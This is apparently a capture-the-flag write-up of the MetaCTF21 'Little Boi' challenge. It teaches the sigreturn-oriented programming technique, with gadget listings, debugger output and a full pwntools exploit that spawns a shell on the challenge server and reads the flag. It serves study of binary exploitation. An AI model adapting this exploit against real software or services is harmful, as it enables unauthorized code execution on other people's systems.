# Little Boi
The description for this challenge is as follows:
 *With a program this small, there isn't a chance you can find an exploit... right? Here's the Little Boi.*
*host1.metaproblems.com 5460*
*Note: No data is printed to start this challenge, and the Segmentation faults are part of the challenge*
This challenge had 56 solves by the end, and it was worth 275 points. I did not find it particularly difficult, but it provides a great, simple example of the SIGROP/SROP technique. 
**TL:;DR Solution:** Note that this binary gives us very few gadgets, but it does include full control of rax and a syscall. When combined with the presence of a '/bin/sh' string within the binary, this presents a fairly straightforward opportunity to use SIGROP to execute execve(/bin/sh, 0, 0).
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/MetaCTF21/Little_Boi
## Gathering Information
When I attempt to run the binary, very little really happens. I am presented with no input prompt, and I simply enter some data, which segfaults the program.```knittingirl@piglet:~/CTF/metaCTF21$ ./littleaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSegmentation fault```If I use checksec, I can see that there are at least very few protections; pretty much the only thing in place is NX. NX essentially means that code on the stack is non-executable, so I will not be able to use shellcode unless I carve out an RWX segment myself using some other technique.```knittingirl@piglet:~/CTF/metaCTF21$ checksec little[*] '/home/knittingirl/CTF/metaCTF21/little'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```The next step is to open the program up in Ghidra. For this particular binary, the only function listed is _start, and the view in the decompilation windows is nearly useless. As a result, I need to rely heavily on reading the assembly, which is quite short. Basically, a stack location is getting pushed, then popped into the rsi register. Then 0 is getting pushed, the popped, into both rdi and rax. 0x800 is moved into the edx register, then there is a syscall. T
In x86-64 binaries, the function called by syscall is determined by the value in the rax register. The first three arguments to that function are then passed in the rdi, rsi, and rdx registers. You can keep track of which functions are referenced by a given syscall, as well as some details on their arguments, by looking at a syscall table like this one: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
```        00401000 54              PUSH       RSP=>local_8        00401001 5e              POP        RSI        00401002 6a 00           PUSH       0x0        00401004 6a 00           PUSH       0x0        00401006 5f              POP        RDI        00401007 58              POP        RAX        00401008 ba 00 08        MOV        EDX,0x800                 00 00        0040100d 0f 05           SYSCALL        0040100f c3              RET
```In this case, rax is being set to 0, which indicates a read call. This makes sense given the program's behavior. If I double-check how the read function works by looking at the man page, I can see that the first argument is the file descriptor that it is reading from, the second argument is the buffer that it is reading to, and the third argument is the number of characters that the read can take. Here, rdi is 0, which is the file descriptor for stdin, the second argument is a variable in the stack that I will be reading into, and the third argument of 0x800 means that I can read in up to 0x800 characters.```SYNOPSIS       #include <unistd.h>
       ssize_t read(int fd, void *buf, size_t count);
DESCRIPTION       read()  attempts to read up to count bytes from file descriptor fd into       the buffer starting at buf.```
## Planning the Exploit: 
Some very basic testing of the binary indicates that my first character already overflows the return pointer, so I have a clear ROP-based exploit with 0x800 bytes of payload available to me. The only potential problem is the lack of gadgets. ROPgadget detects a grand total of 10, all of which seem to be derived from that _start function. In addition, since no libc functions are used, no ret2libc approach is available.```knittingirl@piglet:~/CTF/metaCTF21$ ROPgadget --binary littleGadgets information============================================================0x000000000040100b : add byte ptr [rax], al ; syscall0x0000000000401009 : add byte ptr [rax], cl ; add byte ptr [rax], al ; syscall0x0000000000401005 : add byte ptr [rdi + 0x58], bl ; mov edx, 0x800 ; syscall0x0000000000401008 : mov edx, 0x800 ; syscall0x0000000000401010 : nop ; ret0x0000000000401007 : pop rax ; mov edx, 0x800 ; syscall0x0000000000401006 : pop rdi ; pop rax ; mov edx, 0x800 ; syscall0x0000000000401004 : push 0 ; pop rdi ; pop rax ; mov edx, 0x800 ; syscall0x000000000040100f : ret0x000000000040100d : syscall
Unique gadgets found: 10```Fortunately, the gadget at 0x0000000000401007 will provide me with both a pop rax, which grants me full control of that register, and a syscall. This is all that I need for a technique known as SIGROP. Basically, there is a syscall function known as a sigreturn that is called when rax is set to 0xf. When a sigreturn is called, it takes the current stack frame (i.e. the next few bytes on the stack after the syscall gadget) and loads them into all of the registers. This helpfully gives us access to all of the registers; specifically, control of rax, rip, rdi, rsi, and rdx will let us call effectively any system that we want, including execve. To clarify, rip, the return instruction pointer, can specify where the program starts executing next, so by setting it to a syscall gadget, I can call another syscall with rax and other registers filled with whatever I want.
The main hiccup to calling execve typically that it needs to called with a pointer to the string command that we want to execute, which is most typically /bin/sh. Fortunately, the exports section in ghidra references binsh; if I click on it, then click the address that it is referencing, I can see the string /bin/sh in a static location that I can easily load into rdi. I could also find this information by looking at the defined strings tab, again within Ghidra. 
![](https://raw.githubusercontent.com/knittingirl/CTF-Writeups/main/pwn_challs/MetaCTF21/Little_Boi/binsh_string_ghidra.png)
## Writing the Exploit:
One approach that I have taken when attempting to conceptualize how this technique works is appending the pwntools cyclic pattern after the syscall and seeing what gets loaded into the registers after making the call. For illustrative purposes, I will show that here. Here is the script that you can use to generate this result:```from pwn import *
target = process('./little')
pid = gdb.attach(target, "\nb *0x0040100f\n set disassembly-flavor intel\ncontinue")
syscall = p64(0x000000000040100d)syscall_pop_rax = p64(0x0000000000401007)
padding = b''payload = paddingpayload += syscall_pop_raxpayload += p64(0xf)payload += cyclic(300)
target.sendline(payload)
target.interactive()```And once I step down past the sigreturn in my ROPchain, here is what the registers look like in the GEF wrapper for GDB:```Program received signal SIGSEGV, Segmentation fault.0x6261617362616172 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$rax   : 0x0               $rbx   : 0x6261616962616168 ("haabiaab"?)$rcx   : 0x6261616f6261616e ("naaboaab"?)$rdx   : 0x6261616b6261616a ("jaabkaab"?)$rsp   : 0x6261617162616170 ("paabqaab"?)$rbp   : 0x6261616762616166 ("faabgaab"?)$rsi   : 0x6261616562616164 ("daabeaab"?)$rdi   : 0x6261616362616162 ("baabcaab"?)$rip   : 0x6261617362616172 ("raabsaab"?)$r8    : 0x6161616c6161616b ("kaaalaaa"?)$r9    : 0x6161616e6161616d ("maaanaaa"?)$r10   : 0x616161706161616f ("oaaapaaa"?)$r11   : 0x6161617261616171 ("qaaaraaa"?)$r12   : 0x6161617461616173 ("saaataaa"?)$r13   : 0x6161617661616175 ("uaaavaaa"?)$r14   : 0x6161617861616177 ("waaaxaaa"?)$r15   : 0x6261617a61616179 ("yaaazaab"?)```This clarifies the fact that specific offsets in my stack frame get pushed into specific registers. Theoretically, I could use this debugger information to figure out the offsets needed to fill each register. Fortunately, pwntools provides an easier method; it can automatically create a sigreturn frame, and the contents of individual registers can then be filled with lines like "frame.rsi = 0". So, all I have to do is make my sigreturn, follow it with a sigreturn frame in which rax = 0x3b (for execve), rdi = '/bin/sh' string, rsi and rdx are 0, and rip = a syscall gadget. Here is an exploit script that does just that:```from pwn import *
#target = process('./little')
#pid = gdb.attach(target, "\nb *0x0040100f\n set disassembly-flavor intel\ncontinue")
target = remote('host1.metaproblems.com', 5460)
syscall = 0x000000000040100dsyscall_pop_rax = p64(0x0000000000401007)binsh = 0x00402000
padding = b''payload = padding
payload += syscall_pop_raxpayload += p64(0xf)
# Specify the architecturecontext.arch = "amd64"
frame = SigreturnFrame()
frame.rip = syscallframe.rdi = binsh frame.rax = 59frame.rsi = 0frame.rdx = 0
payload += bytes(frame)print(bytes(frame))
target.sendline(payload)
target.interactive()```Here is what my registers look like in GEF if I run it locally and debug:```$rax   : 0x3b              $rbx   : 0x0               $rcx   : 0x0               $rdx   : 0x0               $rsp   : 0x0               $rbp   : 0x0               $rsi   : 0x0               $rdi   : 0x0000000000402000  →  0x0068732f6e69622f ("/bin/sh"?)$rip   : 0x000000000040100d  →  <_start+13> syscall $r8    : 0x0               $r9    : 0x0               $r10   : 0x0               $r11   : 0x0               $r12   : 0x0               $r13   : 0x0               $r14   : 0x0               $r15   : 0x0 ```And here is the result against the live target:```knittingirl@piglet:~/CTF/metaCTF21$ python3 little_payload.py [+] Opening connection to host1.metaproblems.com on port 5460: Doneb'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 @\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'[*] Switching to interactive mode$ lsflag.txtlittlelittle.sh$ cat flag.txtMetaCTF{5i9nAL5_3v3rYwH3r3}```Thanks for reading!